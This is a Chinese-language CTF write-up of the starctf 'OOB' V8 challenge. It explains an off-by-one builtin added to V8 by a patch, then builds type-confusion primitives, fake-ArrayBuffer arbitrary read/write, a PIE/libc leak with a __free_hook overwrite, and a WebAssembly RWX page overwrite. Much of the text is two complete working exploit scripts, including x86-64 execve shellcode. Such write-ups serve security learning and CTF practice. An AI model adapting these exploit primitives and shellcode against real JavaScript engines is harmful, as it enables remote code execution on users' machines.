参考
从一道CTF题零基础学V8漏洞利用
浏览器入门之starctf-OOB
搭建
切换到当时的 branch 安装依赖时提示最高支持到 Ubuntu 18,使用docker来搭建环境
git reset --hard 6dc88c191f5ecc5389dc26efa3ca0907faef3598
git apply < oob.diff
# 编译debug版本
tools/dev/v8gen.py x64.debug
ninja -C out.gn/x64.debug d8
# 编译release版本
tools/dev/v8gen.py x64.release
ninja -C out.gn/x64.release d8
调试
docker中
gdbserver localhost:123 ./d8 --allow-natives-syntax ./exp.js
主机
gdb -ex 'target remote 127.0.0.1:123' ./d8
diff
diff --git a/src/bootstrapper.cc b/src/bootstrapper.cc
index b027d36..ef1002f 100644
--- a/src/bootstrapper.cc
+++ b/src/bootstrapper.cc
@@ -1668,6 +1668,8 @@ void Genesis::InitializeGlobal(Handle<JSGlobalObject> global_object,
Builtins::kArrayPrototypeCopyWithin, 2, false);
SimpleInstallFunction(isolate_, proto, "fill",
Builtins::kArrayPrototypeFill, 1, false);
+ SimpleInstallFunction(isolate_, proto, "oob",
+ Builtins::kArrayOob,2,false);
SimpleInstallFunction(isolate_, proto, "find",
Builtins::kArrayPrototypeFind, 1, false);
SimpleInstallFunction(isolate_, proto, "findIndex",
diff --git a/src/builtins/builtins-array.cc b/src/builtins/builtins-array.cc
index 8df340e..9b828ab 100644
--- a/src/builtins/builtins-array.cc
+++ b/src/builtins/builtins-array.cc
@@ -361,6 +361,27 @@ V8_WARN_UNUSED_RESULT Object GenericArrayPush(Isolate* isolate,
return *final_length;
}
} // namespace
+BUILTIN(ArrayOob){
+ uint32_t len = args.length();
+ if(len > 2) return ReadOnlyRoots(isolate).undefined_value();
+ Handle<JSReceiver> receiver;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, receiver, Object::ToObject(isolate, args.receiver()));
+ Handle<JSArray> array = Handle<JSArray>::cast(receiver);
+ FixedDoubleArray elements = FixedDoubleArray::cast(array->elements());
+ uint32_t length = static_cast<uint32_t>(array->length()->Number());
+ if(len == 1){
+ //read
+ return *(isolate->factory()->NewNumber(elements.get_scalar(length)));
+ }else{
+ //write
+ Handle<Object> value;
+ ASSIGN_RETURN_FAILURE_ON_EXCEPTION(
+ isolate, value, Object::ToNumber(isolate, args.at<Object>(1)));
+ elements.set(length,value->Number());
+ return ReadOnlyRoots(isolate).undefined_value();
+ }
+}
BUILTIN(ArrayPush) {
HandleScope scope(isolate);
diff --git a/src/builtins/builtins-definitions.h b/src/builtins/builtins-definitions.h
index 0447230..f113a81 100644
--- a/src/builtins/builtins-definitions.h
+++ b/src/builtins/builtins-definitions.h
@@ -368,6 +368,7 @@ namespace internal {
TFJ(ArrayPrototypeFlat, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
/* https://tc39.github.io/proposal-flatMap/#sec-Array.prototype.flatMap */ \
TFJ(ArrayPrototypeFlatMap, SharedFunctionInfo::kDontAdaptArgumentsSentinel) \
+ CPP(ArrayOob) \
\
/* ArrayBuffer */ \
/* ES #sec-arraybuffer-constructor */ \
diff --git a/src/compiler/typer.cc b/src/compiler/typer.cc
index ed1e4a5..c199e3a 100644
--- a/src/compiler/typer.cc
+++ b/src/compiler/typer.cc
@@ -1680,6 +1680,8 @@ Type Typer::Visitor::JSCallTyper(Type fun, Typer* t) {
return Type::Receiver();
case Builtins::kArrayUnshift:
return t->cache_->kPositiveSafeInteger;
+ case Builtins::kArrayOob:
+ return Type::Receiver();
// ArrayBuffer functions.
case Builtins::kArrayBufferIsView:
这个 diff 文件包含了以下几个主要的变更:
-
在
bootstrapper.cc
文件中, 添加了一个新的内置函数ArrayOob
到JSGlobalObject
的原型中。这个函数可以用来读写数组的越界元素。 -
在
builtins-array.cc
文件中, 实现了ArrayOob
函数的逻辑。-
BUILTIN(ArrayOob)
这是一个宏定义,用于定义 V8 引擎中的内置函数。这个函数名为ArrayOob
。 -
函数的第一行获取了函数的参数个数,存储在变量
len
中。 -
接下来进行了一个简单的参数检查,如果参数个数大于 2,则直接返回
undefined
。 -
使用
Object::ToObject
将函数调用者转换为JSReceiver
对象,然后将其强制转换为JSArray
对象,存储在array
变量中。 -
通过
array->elements()
获取数组的底层存储结构FixedDoubleArray
,存储在elements
变量中。 -
获取数组的长度,存储在
length
变量中。 -
接下来根据参数个数
len
来判断是读取还是写入:- 如果
len
等于 1,则表示读取操作。通过elements.get_scalar(length)
获取数组最后一个元素的值,并将其转换为Number
类型后返回。这里存在一个 off-by-one 的错误,因为数组下标是从 0 开始的,而我们使用了length
作为下标,导致读取了数组越界的元素。 - 如果
len
等于 2,则表示写入操作。首先将第二个参数转换为Number
类型,存储在value
变量中。然后使用elements.set(length, value->Number())
将该值写入数组最后一个元素。这里同样存在一个 off-by-one 的错误,因为我们使用length
作为下标,导致写入了数组越界的元素。
- 如果
-
-
在
builtins-definitions.h
文件中, 添加了ArrayOob
函数的定义, 指定其为 C++ 实现。 -
在
typer.cc
文件中, 为ArrayOob
函数添加了类型推导逻辑, 返回类型为Type::Receiver()
。
利用
在 a.oob(1) 的情况下,传入了两个参数:
- 第一个参数是数组 a 本身,这是隐式传入的 this 参数。
- 第二个参数是数字 1。
a.oob(0)打印数组a[4] 溢出
发现数组对象的elements其实也是个对象,这些元素在内存中的分布正好位于数组对象的上方,即低地址处,也就是说,在内存申请上,v8先申请了一块内存存储元素内容,然后申请了一块内存存储这个数组的对象结构,对象中的elements指向了存储元素内容的内存地址
elements ----> +------------------------+
| MAP +<---------+
+------------------------+ |
| element 1 | |
+------------------------+ |
| element 2 | |
| ...... | |
| element n | |
ArrayObject ---->-------------------------+ |
| map | |
+------------------------+ |
| prototype | |
+------------------------+ |
| elements | |
| +----------+
+------------------------+
| length |
+------------------------+
| properties |
+------------------------+
所以其实读溢出可以读出map的地址,然后写可以往修改map的地址,即可以修改对象类型Map(类型混淆)
举个例子,如果我们定义一个FloatArray浮点数数组A,然后定义一个对象数组B。正常情况下,访问A[0]返回的是一个浮点数,访问B[0]返回的是一个对象元素。如果将B的类型修改为A的类型,那么再次访问B[0]时,返回的就不是对象元素B[0],而是B[0]对象元素转换为浮点数即B[0]对象的内存地址了;如果将A的类型修改为B的类型,那么再次访问A[0]时,返回的就不是浮点数A[0],而是以A[0]为内存地址的一个JavaScript对象了。
计算一个对象的地址addressOf:将需要计算内存地址的对象存放到一个对象数组中的A[0],然后利用上述类型混淆漏洞,将对象数组的Map类型修改为浮点数数组的类型,访问A[0]即可得到浮点数表示的目标对象的内存地址。
将一个内存地址伪造为一个对象fakeObject:将需要伪造的内存地址存放到一个浮点数数组中的B[0],然后利用上述类型混淆漏洞,将浮点数数组的Map类型修改为对象数组的类型,那么B[0]此时就代表了以这个内存地址为起始地址的一个JS对象了。
var obj = {"a": 1};
var obj_array = [obj];
var float_array = [1.1];
var obj_array_map = obj_array.oob();
var float_array_map = float_array.oob();
// 泄露某个object的地址
function addressOf(obj_to_leak)
{
obj_array[0] = obj_to_leak;
obj_array.oob(float_array_map);
let obj_addr = f2i(obj_array[0]) - 1n;
obj_array.oob(obj_array_map); // 还原array类型以便后续继续使用
return obj_addr;
}
// 将某个addr强制转换为object对象
function fakeObject(addr_to_fake)
{
float_array[0] = i2f(addr_to_fake + 1n);
float_array.oob(obj_array_map);
let faked_obj = float_array[0];
float_array.oob(float_array_map); // 还原array类型以便后续继续使用
return faked_obj;
}
任意地址读写
通过array的element内容来伪造一个数组对象的内存,泄露该array地址后,得到array的element的元素内容地址,利用类型混淆漏洞将其写入floatarray,然后改为objectarray,得到元素内容地址伪造的对象,进而可以通过array中对元素内容中的element修改,然后通过读写伪造对象来任意地址读写
由于array中伪造DoubleArray 来任意读写会有些棘手的问题
- 在数组进行元素访问时,它会和这个堆的基地址做一个 mask 的操作,保证了这个 elements 指针指向的内存段时属于 v8 的堆的范围。(FloatArray方式向高地址写入会不成功。)
- 在对伪造的浮点数数组进行操作的时候,触发了收集 Inline Cache 的函数,导致 SIGTRAP 。
- DoubleArray 构造的任意地址读写只能读写 elements + 0x10 ,并且还会访问 [elements, elements + 0x10) 范围内的数据,而如果是在 rwx 段写 shellcode 需要从起始位置开始写,因此不能用 DoubleArray 构造的任意地址读写完成。
伪造 ArrayBuffer
这里需要使用伪造 ArrayBuffer 来构造任意地址读写。
我一直以为job显示的和实际地址分别的一样,我是废物
这里伪造的arraybuffer要正常被dataview解析的话,需要arraybuffer的map指向的type为JS_ARRAY_BUFFER_TYPE
var fake_array_object = [
u2d(0n), // Map
u2d(0n), // Propertries
u2d(0n), // Elements
u2d(0x1000n), // ByteLength
u2d(0n), // BackingStore
u2d(0n), // Map
u2d(0x1900042319080808n), // type
];
等会还要修改fake_array_object [0] (Map)指向伪造的map字段(下面的map)
发现doublearray的元素个数多少会导致element在对象的相对位置上下不同,这里7个元素会在下面,对应的元素内容开始地址=fake_array_object的地址 +0x48+0x10
之后元素内容开始地址转换为arraybuffer对象,然后arraybuffer[0]设置为fake_array_object的地址 +0x48+0x10+0x28(即下面的map在arraybuffer上的地址),然后任意读写修改arraybuffer[4]为想读或者想写的地址即可即可
var fake_array_object = [
u2d(0n), // Map
u2d(0n), // Propertries
u2d(0n), // Elements
u2d(0x1000n), // ByteLength
u2d(0n), // BackingStore
u2d(0n), // Map
u2d(0x1900042319080808n), // type
];
fake_array_object_addr=addr_leak(fake_array_object);
print("fake_array_object_addr "+hex(fake_array_object_addr));
fake_array_object[0]=u2d(fake_array_object_addr+0x48n+0x10n+0x28n); // pay attention u2d
fake_array_object_0_addr=fake_array_object_addr+0x48n+0x10n;
fake_arraybuf_object=replace_fake_obj(fake_array_object_0_addr);
// //check
// fake_arraybuf_object_addr=addr_leak(fake_arraybuf_object)
// print("fake_arraybuf_object_addr "+hex(fake_arraybuf_object_addr))
// print("fake_array_object_0_addr "+hex(fake_array_object_0_addr))
var dv = new DataView(fake_arraybuf_object);
function any_addr_read(read_addr)
{
fake_array_object[4]=u2d(read_addr);
return dv.getBigUint64(0, true); //little-endian
}
function any_addr_write(write_addr,value)
{
fake_array_object[4]=u2d(write_addr);
return dv.setBigUint64(0, value, true); //little-endian
}
伪造 double array改一个 ArrayBuffer 的 BackingStore
伪造 DoubleArray 进行一次任意地址写修改一个 ArrayBuffer 的 BackingStore 指向另一个 ArrayBuffer 的 BackingStore ,之后每次任意地址读写都可以先用一个 ArrayBuffer 改另一个 ArrayBuffer 的 BackingStore 然后利用另一个 ArrayBuffer 进行任意地址读写。(或者直接改一个 ArrayBuffer 的 BackingStore 指向要写的地址,再通过dataview写)
fake_float_array对象起始地址=float_array_mem对象的地址+0x20+0x10,然后fake_float_array对象和对应的element已经被设置为一个arraybuffer的backstoring字段位置-0x10,然后fake_float_array[0]修改一个arraybuffer的backstoring字段的值为另一个arraybuffer的backstoring字段位置-0x10
- 任意读的时候先将第一个arraybuffer的backstoring对应的值(也就是第二个arraybuffer的backstoring字段值)设置为要读的地址,然后取第二个arraybuffer的backstoring字段对应的值
- 任意写的时候先将第一个arraybuffer的backstoring对应的值(也就是第二个arraybuffer的backstoring字段值)设置为要写的地址,然后赋值给第二个arraybuffer的backstoring字段对应的值
var ab1 = new ArrayBuffer(0x8);
var ab2 = new ArrayBuffer(0x1000);
var dv1 = new DataView(ab1);
var dv2 = new DataView(ab2);
var ab1_bs_addr = addr_leak(ab1) + 0x20n;
var ab2_bs_addr = addr_leak(ab2) + 0x20n;
var float_array_mem = [
float_mmap,
0,
u2d(ab1_bs_addr - 0x10n),
u2d(0x100000000n),
];
fake_float_array = fakeObj(addressOf(float_array_mem) + 0x30n);
fake_float_array[0] = u2d(ab2_bs_addr - 1n);
function arbitrary_address_read(address) {
dv1.setBigUint64(0, address, true);
return dv2.getBigUint64(0, true);
}
function arbitrary_address_write(address, value) {
dv1.setBigUint64(0, address, true);
return dv2.setBigUint64(0, value, true);
}
利用
传统
通过构造函数例如 Array 可以泄露 ELF 加载基址,进而通过 got 表泄露 libc 加载基址。
查看Array对象结构 --> 查看对象的Map属性 --> 查看Map中指定的constructor结构 --> 查看code属性 -->在code内存地址的固定偏移处存储了v8二进制的指令地址
v8在生成一个数组对象过程中,会对应着生成一个code对象,这个code对象中存储了和该数组对象相关的构造函数指令,而这些构造函数指令又会去调用d8二进制中的指令地址来完成对数组对象的构造。
需要注意这里用release版本查看,不然debug版本显示的不是pie相关地址
利用任意地址写修改 __free_hook 为 system 函数地址
建议这时候将%SystemBreak()断点下在any_addr_write内部或者在写free_hook之前,因为v8在运行时,会有很多内存释放、垃圾回收的操作,而这些操作很容易就能触发free函数,因此上面any_addr_write结束后调用的 %SystemBreak前很容易就触发到了free操作而导致gdb崩溃
然后v8在运行时,会有很多内存释放、垃圾回收的操作,而这些操作很容易就能触发free函数,可以申请一个局部buffer变量,写命令进去,然后释放,从而触发free操作或者print命令也可以触发
获取shell的演示需要在d8的非调试模式下直接运行才能看到效果。将脚本中的%DebugPrint和%SystemBreak等本地调试函数去掉,直接运行d8调用最终js文件
exp
let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);
function d2u(value) {
data_view.setFloat64(0, value);
return data_view.getBigUint64(0);
}
function u2d(value) {
data_view.setBigUint64(0, value);
return data_view.getFloat64(0);
}
function hex(val) {
return '0x' + val.toString(16).padStart(16, "0");
}
// number to string hex and pad 0 to 16
var obj={};
var float_array=[1.1];
var object_array=[obj];
var float_mmap=float_array.oob();
var object_mmap=object_array.oob();
// type confusion
function addr_leak(obj)
{
float_array.oob(object_mmap);
float_array[0]=obj;
float_array.oob(float_mmap);
var leak_obj_addr=float_array[0];
return d2u(leak_obj_addr);
}
//leak object addr
function replace_fake_obj(fake_obj_addr)
{
object_array.oob(float_mmap);
object_array[0]=u2d(fake_obj_addr|1n);
object_array.oob(object_mmap);
var fake_obj=object_array[0];
return fake_obj;
}
//get the object by object addr
var fake_array_object = [
u2d(0n), // Map
u2d(0n), // Propertries
u2d(0n), // Elements
u2d(0x1000n), // ByteLength
u2d(0n), // BackingStore
u2d(0n), // Map
u2d(0x1900042319080808n), // type
];
fake_array_object_addr=addr_leak(fake_array_object);
print("fake_array_object_addr "+hex(fake_array_object_addr));
fake_array_object[0]=u2d(fake_array_object_addr+0x48n+0x10n+0x28n); // pay attention u2d
fake_array_object_0_addr=fake_array_object_addr+0x48n+0x10n;
fake_arraybuf_object=replace_fake_obj(fake_array_object_0_addr);
// //check
// fake_arraybuf_object_addr=addr_leak(fake_arraybuf_object)
// print("fake_arraybuf_object_addr "+hex(fake_arraybuf_object_addr))
// print("fake_array_object_0_addr "+hex(fake_array_object_0_addr))
var dv = new DataView(fake_arraybuf_object);
function any_addr_read(read_addr)
{
fake_array_object[4]=u2d(read_addr);
return dv.getBigUint64(0, true); //little-endian
}
function any_addr_write(write_addr,value)
{
fake_array_object[4]=u2d(write_addr);
return dv.setBigUint64(0, value, true); //little-endian
}
function get_shell()
{
let get_shell_buffer = new ArrayBuffer(0x1000);
let get_shell_dataview = new DataView(get_shell_buffer);
get_shell_dataview.setFloat64(0, u2d(0x0068732f6e69622fn)); // str --> /bin/sh\x00
}
//leak pie
var a = [1.1, 2.2, 3.3];
code_addr=addr_leak(a.constructor)+0x30n;
print("code_addr "+hex(code_addr));
code_obj_addr=any_addr_read(code_addr-1n)-1n;
print("code_obj_addr "+hex(code_obj_addr));
pie_addr=any_addr_read(code_obj_addr+0x42n)-0xf91780n;
print("pie_addr "+hex(pie_addr));
//leak libc
libc_addr=any_addr_read(0x1273ef8n+pie_addr)-0x45130n;
print("libc_addr "+hex(libc_addr));
free_hook=libc_addr+0x3ed8e8n
system=libc_addr+0x4f420n
any_addr_write(free_hook,system)
//get_shell();
print("/snap/bin/gnome-calculator");
wasm
wasm就是可以让JavaScript直接执行高级语言生成的机器码的一种技术。
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
var f = wasmInstance.exports.main;
var d = f();
console.log("[*] return from wasm: " + d);
%SystemBreak();
wasm从安全性考虑也不允许通过浏览器直接调用系统函数。wasm中只能运行数学计算、图像处理等系统无关的高级语言代码。
们可以结合漏洞将原本内存中的的wasm代码替换为shellcode,当后续调用wasm的接口时,实际上调用的就是我们的shellcode了。
- 首先加载一段wasm代码到内存中(利用 WebAssembly 开辟 rwx 段。)
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var f = wasmInstance.exports.main;
var d = f();
console.log("[*] return from wasm: " + d);
-
然后通过addresssOf原语找到存放wasm的内存地址
Function–>shared_info–>WasmExportedFunctionData–>instance,在instance+0x88的固定偏移处,就能读取到存储wasm代码的内存页起始地址(即
var wasmInstance = new WebAssembly.Instance(wasmModule, {});
的wasmInstance )
var wasm_addr=any_addr_read(addr_leak(wasmInstance)-1n+0x88n);
- 接着通过任意地址写原语用shellcode替换原本wasm的代码内容
var shellcode = [
0x9090909090909090n, //nop
0x636c6163782fb848n,
0x73752fb848500000n,
0x8948506e69622f72n,
0x89485750c03148e7n,
0x3ac0c748d23148e6n,
0x4944b84850000030n,
0x48503d59414c5053n,
0x485250c03148e289n,
0x00003bc0c748e289n,
0x0000000000050f00n
];
//var shellcode = [
// 0x636c6163782fb848n,
// 0x73752fb848500000n,
// 0x8948506e69622f72n,
// 0x89485750c03148e7n,
// 0x3ac0c748d23148e6n,
// 0x4944b84850000030n,
// 0x48503d59414c5053n,
// 0x485250c03148e289n,
// 0x00003bc0c748e289n,
// 0x0000000000050f00n
// ]
for (let i = 0; i < shellcode.length; i++) {
any_addr_write(wasm_addr + BigInt(i) * 8n, shellcode[i]);
}
- 最后调用wasm的函数接口即可触发调用shellcode
var d = f();
exp
let array_buffer = new ArrayBuffer(0x8);
let data_view = new DataView(array_buffer);
function d2u(value) {
data_view.setFloat64(0, value);
return data_view.getBigUint64(0);
}
function u2d(value) {
data_view.setBigUint64(0, value);
return data_view.getFloat64(0);
}
function hex(val) {
return '0x' + val.toString(16).padStart(16, "0");
}
// number to string hex and pad 0 to 16
var obj={};
var float_array=[1.1];
var object_array=[obj];
var float_mmap=float_array.oob();
var object_mmap=object_array.oob();
// type confusion
function addr_leak(obj)
{
float_array.oob(object_mmap);
float_array[0]=obj;
float_array.oob(float_mmap);
var leak_obj_addr=float_array[0];
return d2u(leak_obj_addr);
}
//leak object addr
function replace_fake_obj(fake_obj_addr)
{
object_array.oob(float_mmap);
object_array[0]=u2d(fake_obj_addr|1n);
object_array.oob(object_mmap);
var fake_obj=object_array[0];
return fake_obj;
}
//get the object by object addr
var fake_array_object = [
u2d(0n), // Map
u2d(0n), // Propertries
u2d(0n), // Elements
u2d(0x1000n), // ByteLength
u2d(0n), // BackingStore
u2d(0n), // Map
u2d(0x1900042319080808n), // type
];
fake_array_object_addr=addr_leak(fake_array_object);
print("fake_array_object_addr "+hex(fake_array_object_addr));
fake_array_object[0]=u2d(fake_array_object_addr+0x48n+0x10n+0x28n); // pay attention u2d
fake_array_object_0_addr=fake_array_object_addr+0x48n+0x10n;
fake_arraybuf_object=replace_fake_obj(fake_array_object_0_addr);
// //check
// fake_arraybuf_object_addr=addr_leak(fake_arraybuf_object)
// print("fake_arraybuf_object_addr "+hex(fake_arraybuf_object_addr))
// print("fake_array_object_0_addr "+hex(fake_array_object_0_addr))
var dv = new DataView(fake_arraybuf_object);
function any_addr_read(read_addr)
{
fake_array_object[4]=u2d(read_addr);
return dv.getBigUint64(0, true); //little-endian
}
function any_addr_write(write_addr,value)
{
fake_array_object[4]=u2d(write_addr);
return dv.setBigUint64(0, value, true); //little-endian
}
var wasmCode = new Uint8Array([0,97,115,109,1,0,0,0,1,133,128,128,128,0,1,96,0,1,127,3,130,128,128,128,0,1,0,4,132,128,128,128,0,1,112,0,0,5,131,128,128,128,0,1,0,1,6,129,128,128,128,0,0,7,145,128,128,128,0,2,6,109,101,109,111,114,121,2,0,4,109,97,105,110,0,0,10,138,128,128,128,0,1,132,128,128,128,0,0,65,42,11]);
var wasmModule = new WebAssembly.Module(wasmCode);
var wasmInstance = new WebAssembly.Instance(wasmModule);
var f = wasmInstance.exports.main;
var d = f();
console.log("[*] return from wasm: " + d);
var wasm_addr=any_addr_read(addr_leak(wasmInstance)-1n+0x88n);
var shellcode = [
0x9090909090909090n, //nop
0x636c6163782fb848n,
0x73752fb848500000n,
0x8948506e69622f72n,
0x89485750c03148e7n,
0x3ac0c748d23148e6n,
0x4944b84850000030n,
0x48503d59414c5053n,
0x485250c03148e289n,
0x00003bc0c748e289n,
0x0000000000050f00n
];
//var shellcode = [
// 0x636c6163782fb848n,
// 0x73752fb848500000n,
// 0x8948506e69622f72n,
// 0x89485750c03148e7n,
// 0x3ac0c748d23148e6n,
// 0x4944b84850000030n,
// 0x48503d59414c5053n,
// 0x485250c03148e289n,
// 0x00003bc0c748e289n,
// 0x0000000000050f00n
// ]
for (let i = 0; i < shellcode.length; i++) {
any_addr_write(wasm_addr + BigInt(i) * 8n, shellcode[i]);
}
var d = f();
console.log("[*] return from wasm: " + d);